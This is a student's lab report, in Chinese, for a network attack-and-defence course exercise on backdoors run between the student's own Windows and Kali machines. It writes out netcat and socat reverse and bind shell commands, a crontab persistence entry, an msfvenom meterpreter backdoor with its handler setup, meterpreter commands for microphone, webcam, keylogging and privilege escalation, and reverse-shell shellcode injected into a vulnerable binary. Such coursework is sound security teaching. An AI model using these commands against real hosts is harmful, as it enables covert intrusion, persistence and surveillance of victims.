2019-2020-3 20174318張致豪《網路對抗技術》Exp2 後門原理與實踐
- 2020 年 3 月 13 日
- 筆記
Exp2 後門原理與實踐
前期準備
一、實驗目標與基礎知識
1.1 實踐目標
使用netcat獲取主機操作Shell,cron啟動
使用socat獲取主機操作Shell,任務計劃啟動
使用MSF meterpreter(或其他軟體)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
使用MSF meterpreter(或其他軟體)生成獲取目標主機音頻、攝影機、擊鍵記錄等內容,並嘗試提權
可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
1.2 基礎知識
1. 什麼是後門?
後門是指繞過安全性控制而獲取對程式或系統訪問權的方法。
2. 常用後門工具
Netcat:它是一個底層工具,在網路工具中有“瑞士軍刀”的美譽,進行基本的 TCP、UDP 數據收發。常被與其他工具結合使用,起到後門的作用。
Socat:它是 Linux 下的一個多功能的網路工具,名字來由是 Socket CAT,功能與 Netcat 相似,可以看做是 Netcat 的加強版。
Meterpreter:它是 Metasploit 框架中功能強大的後滲透模組。可以通過 Meterpreter 的客戶端執行攻擊腳本,遠程調用目標主機上運行的 Meterpreter 服務端。
PowerSpoit:基於 PowerShell 的後門集成框架。需要 .Net 環境支援。
InterSect:是一個後滲透完成多種後期任務的Python程式。它能夠自動收集密碼文件和網路資訊,並且能夠識別殺毒軟體和防火牆程式。
Weevely:是一款功能強大的PHP後門工具,它使用HTTP協議包頭部進行指令傳輸。它的使用非常簡單,但僅支援php語言。
二、軟體下載 & 功能測試
2.1在windows下載 Netcat & Socat
從老師所給指導的附件里下載 Netcat 與 Socat 文件,在本機解壓後放置到相應的文件夾。
這裡我把 Netcat 文件夾放置到了系統文件目錄里,即 C 盤裡的 system32 目錄,放置在這裡有個好處就是我們使用 cmd 運行 Netcat 的命令時,不必在原本下載的目錄里運行,也不必以 ncat.exe 的形式運行,直接 cmd 打開輸入 ncat 就能跑,雖然也節省不了多少時間。
在本機命令行里直接輸入 ncat ,若能返回提示需指定要連接的主機,則說明 Netcat 載入好了。同理,運行 socat.exe ,返回相關提示即可。
2.2 Win獲得 Linux Shell
在 Windows 的 cmd 中使用 ipconfig
查看本機 ip 地址,發現 Windows 端 ip 為192.168.0.105
Windows 端繼續,使用 ncat 程式監聽本機的 4318 埠號,輸入 ncat -l -p 4318
,l 指 listen ,即監聽
接下來,在 kali 中反彈連接 Windows 的 4318 埠,ncat 192.168.0.105 4318 -e /bin.sh
,使用 -e
選項執行shell程式
返回 Winodws 端的命令行,發現 kali 機被攻擊成功,在 Windows 中獲取了 kali 的 shell
2.2 Linux 獲得 Windows Shell
在 kali 的終端中輸入 ifconfig
查看 Linux 端 ip 地址,發現 ip 為 192.168.0.106
kali 中終端輸入 nc -l -p 4318
,監聽本機 4318 埠
在 Windows 中反彈連接 kali 的 4318 埠,ncat 192.168.0.106 4318 -e /bin.sh
,這裡的 ip 地址應為 kali 機的 ip
返回 kali 的終端,發現 Windows 機被攻擊成功,在 kali 中獲取了 Windows 的 shell
2.3 使用 Ncat 傳輸數據
在安裝了 Netcat 的主機里,都可以進行連接,這裡我們選擇 kali 連接到 Windows
首先在 Windows 下監聽 4318 埠,輸入 ncat -l 4318
kali 反彈連接到 Windows 的 4318 埠 ,終端輸入 nc 192.168.0.105 4318
,這裡的 ip 地址為 Win 端的
等待小會兒後,連接成功,雙方可以進行相互通訊
2.4 使用 Ncat 傳輸文件
連接的雙方,同樣可以進行文件的傳輸,我們選擇把文件從 kali 傳到 Windows
首先,Windows 端監聽本機 4318 埠,並把收到的數據保存到 file1.out 中,cmd 中輸入ncat -l 4318
> file1.out
接下來,kali 反彈連接到 Windows (ip)的 4318 埠,並將 kali 端的文件 file1.in 傳輸過去,終端輸入 nc 192.168.0.105 4318 < file1.in
返回 Windows 端,在文件夾中若能找到文件 file1.out ,表明接收成功
實驗步驟
一、使用 Netcat 獲取主機操作 Shell ,cron 啟動
詳細解析:
首先,在 Windows 端內監聽本機的 4318 埠,輸入ncat -l -p 4318
後該命令行窗口進入監聽狀態
接下來,在 kali 端內編輯一條定時任務,終端輸入 crontab -e
,這裡 crontab 
;表示增加一條定時任務,-e
表示進入編輯狀態
在選擇了 vim 編輯器進行編輯後,進入 vim 端,在最後一行添加43 * * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh
意思是,每個小時的第 43 分鐘反向連接 Windows 主機的 4318 埠
等待 1 分鐘到了 43 分後,我們就發現此時 Windows 已經獲取了 kali 的 Shell
二、使用 Socat 獲取主機操作 Shell ,任務計劃啟動
詳細解析:
首先,Windows端鍵盤點擊Win+R
輸入 compmgmt.msc
打開“電腦管理”
在「任務計劃程式」中點擊「創建任務」
填寫新建任務的名稱,並新建一個觸發器
在操作->新建->程式或腳本中選擇 socat.exe
文件的路徑,在添加參數一欄填寫 tcp-listen:4318 exec:cmd.exe,pty,stderr
,這個命令的作用是把 cmd.exe
綁定到埠 4318
,同時把 cmd.exe
的 stderr
重定向到 stdout
上
創建完畢後,新建任務進入準備狀態
然後,實施我們的觸發條件,鎖定 Windows 電腦,再次打開電腦時,我們創建的任務就已經開始運行了,此時會彈出一個 cmd 窗口,表明 socat 程式開始運行。
切換到 kali 中輸入輸入指令 socat - tcp:192.168.0.105:4318
,這裡的第一個參數-代表標準的輸入輸出,第二個流連接到 Windows 主機的 4318 埠,此時可以發現已經成功獲得了 cmd shell
三、使用MSF meterpreter(或其他軟體)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
詳細解析:
首先,在 kali 內生成後門程式,並設定為控制端,在終端輸入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe
, ip 地址為控制端的 ip
接著,在 Windows 通過 ncat.exe -lv 4318 > 20174318_backdoor.exe
指令使本機進入接受文件模式
在 kali 中執行
nc 192.168.0.105 4318 < 20174318_backdoor.exe
,注意這裡的IP為被控主機IP,即WindowsIP,將後門程式傳送過去
Windows 接收程式成功
之後,在kali上使用 msfconsole
指令進入msf控制台,並依次輸入以下指令
-
- 輸入
use exploit/multi/handler
使用監聽模組,設置 payload set payload windows/meterpreter/reverse_tcp
,使用和生成後門程式時相同的 payloadset LHOST 192.168.0.106
,這裡用的是 kali 的 ip,和生成後門程式時指定的 ip 相同set LPORT 4318
,同樣要使用相同的埠
- 輸入
設置完成之後,輸入指令exploit
執行監聽,並運行Windows下的後門程式,此時kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell
四、使用MSF meterpreter(或其他軟體)生成獲取目標主機音頻、攝影機、擊鍵記錄等內容,並嘗試提權
詳細解析:
使用 record_mic
指令可以截獲一段音頻
使用webcam_snap
指令可以使用攝影機進行拍照
使用keyscan_start
指令記錄下擊鍵的過程,keyscan_dump
指令讀取擊鍵記錄
使用screenshot
指令可以進行截屏
使用 getuid
指令可以查看當前用戶,getsystem
指令進行提權操作,但未實現
五、可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell
詳細解析:
在測定可以用的 shellcode 網站中找到一個基於 linux/x86 平台的shellcode程式碼,將裡面的機械碼複製出來。
原始程式碼如下:
"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"
為了找到 shellcode 的起始地址,我們參照實驗一的做法,首先基於該原始程式碼,注入一段用於查找的 shellcode
經過實驗一中 gdb 、反彙編等一系列操作後,我們找到了 0x90 x90 x90 x90 的位置
從而計算出該 shellcode 的起始位置為 0xffffd1c0
,接下來只需修改 shellcode 的程式碼即可
然後,在另一個終端中打開 msfconsole
,並打開監聽,參照步驟三的過程,依次輸入以下指令
- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST
- set LPORT4444
- exploit
其中,LHOST 和 LPORT 都是根據網上下載的可用的 shellcode 的標註填寫的
最後,在原本的終端里輸入指令:(cat input_shellcode;cat) | ./pwn1
,按下回車鍵後開始運行,在另一個終端中就發現注入的shell開始運行了
實驗總結
一、基礎問題回答
(1)例舉你能想到的一個後門進入到你系統中的可能方式?
『後門可能會通過網頁掛馬的方式,當我們點擊不安全的網頁鏈接時,自動跳轉並下載在我們主機,然後隱藏在系統自啟動目錄里』
(2)例舉你知道的後門如何啟動起來( win 及 linux )的方式?
『 win:通過點擊釣魚網站鏈接;添加自啟動程式碼,每次開機自啟
linux:通過本實驗中的 crontab 命令設置定時或其他觸發器啟動』
(3)Meterpreter有哪些給你映像深刻的功能?
『能夠抓拍、錄入聲音、截圖、獲取鍵盤輸入記錄給我留下了深刻的印象,這些都是能極度威脅我們隱私的行為,讓我覺得沒有安全可言』
(4)如何發現自己有系統有沒有被安裝後門?
『利用 netcat 查看有沒有開放異常的埠;系統殺毒軟體的檢測提示;任務管理器查看異常進程』
二、實驗總結與體會
本次實驗做起來就和大二上學期的資訊安全概論實驗一樣,通過指令在兩個終端內隨意傳輸數據、文件,讓人覺得電腦系統沒有安全可言,雖然實驗中都是我們自己操作被攻擊方運行攻擊方的程式,但也給我提了一個醒,因為實施攻擊的人總是會千方百計的讓你去運行它的惡意程式,後門就是一個不容易引起我們注意的方式,所以我們得在強化自身防範意識的同時,增強自身相關的知識積累,說不定什麼時候就能派上用場了。
與實驗一比起來,本次實驗遇到了更多的問題,但好在都是比較常見的,參考老師的演譯影片與其他同學的部落格以及網上的資料,成功的完成了本次實驗,下面我就來分享一下我所遇到的問題。
- Netcat 只能單方向連接
在剛安裝好 netcat 時,進行 Windows 獲得 Linux Shell 測試時,Win 端的 cmd 進入監控狀態後,kali 端反彈連接始終無法成功,Linux 的 nc 返回 TIMEOUT 的錯誤,與老師影片或其他同學的錯誤目標主機積極拒絕不同。但是我反過來試讓Linux 獲取 Windows Shell 卻能成功,我嘗試著關閉了 Windows 主機的防火牆與殺毒軟體,但都未遂;不知所措的我開始了下一步操作,讓 Windows 和 Linux 建立連接傳數據,結果 Linux監聽, Windows 反彈連接能通訊成功,換成Windows端監聽, Linux 端去反彈又不能成功了。我便懷疑是不是 Windows 端的 ip 地址錯誤、埠沒有打開或者 Linux 端防火牆給阻斷了,操作了一通後最終解決了這個問題,只不過我也不清楚到底是哪一步操作把它給弄好了。(Linux 端反彈連接錯誤忘截圖了,大概是輸入「nc 192.168.0.105 4318 -e /bin/sh」終端返回「nc: TIMEOUT」)
- msfconsole 指令無法打開 msf
問題如上所示,與其他大部分同學無法啟動 msf 的返回錯誤不同,它給我的返回資訊時讓我下載 bundler ,照著它的要求我試著下載了 bundler(apt-get install bundler 步驟未截圖,自動更新到了 bundler 2.1.3),結果出現了新的問題
巴拉巴拉一大堆,讓我 root 模式不要運行 bundler,不明所以的我只好尋求網路的幫助,給的建議是下載 bundler 1.17.3 版本
結果這樣就成功了
- 使用 MSF 生成的 Shellcode 注入到 pwn1 運行後返回段錯誤
這個錯誤犯得特別低級,我默認以為這一段 Shellcode 的起始地址就是我第一次實驗時的那一段 Shellcode 的地址,直接就填上去了,試了好幾次發現返回都是段錯誤,才意識到哪兒錯了。